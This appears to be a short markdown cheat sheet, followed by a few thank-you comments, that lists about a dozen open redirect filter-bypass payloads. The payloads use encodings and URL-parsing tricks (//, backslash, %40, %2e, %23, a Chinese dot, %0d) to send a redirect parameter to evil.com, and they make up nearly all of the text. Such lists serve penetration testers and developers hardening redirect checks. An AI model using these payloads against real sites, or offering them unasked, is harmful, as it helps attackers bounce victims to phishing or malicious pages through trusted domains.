Open redirect bypasses

open-redirect.md

Open redirect bypasses

• Simply try to change the domain

  Example: ?redirect=https://example.com --> ?redirect=https://evil.com

• Bypass the filter when protocol is blacklisted using //

  Example: ?redirect=https://example.com --> ?redirect=//evil.com

• Bypass the filter when double slash is blacklisted using \\

  Example: ?redirect=https://example.com --> ?redirect=\evil.com

• Bypass the filter when double slash is blacklisted using http: or https:

  Example: ?redirect=https://example.com --> ?redirect=https:example.com

• Bypass the filter using %40

  Example: ?redirect=example.com --> ?redirect=example.com%40evil.com

• Bypass the filter if it only checks for domain name

  Example: ?redirect=example.com --> ?redirect=example.comevil.com

• Bypass the filter if it only checks for domain name using a dot %2e

  Example: ?redirect=example.com --> ?redirect=example.com%2eevil.com

• Bypass the filter if it only checks for domain name using a query/question mark ?

  Example: ?redirect=example.com --> ?redirect=evil.com?example.com

• Bypass the filter if it only checks for domain name using a hash %23

  Example: ?redirect=example.com --> ?redirect=evil.com%23example.com

• Bypass the filter using a ° symbol

  Example: ?redirect=example.com --> ?redirect=example.com/°evil.com

• Bypass the filter using a url encoded Chinese dot %E3%80%82

  Example: ?redirect=example.com --> ?redirect=evil.com%E3%80%82%23example.com

• Bypass the filter if it only allows you to control the path using a nullbyte %0d or %0a

  Example: ?redirect=/ --> ?redirect=/%0d/evil.com

Good one brother

Good one brother

Thank you!!

Nice

Nice

You're welcome!

Hey Man, thanks!

Hey Man, thanks!

You're welcome! ;)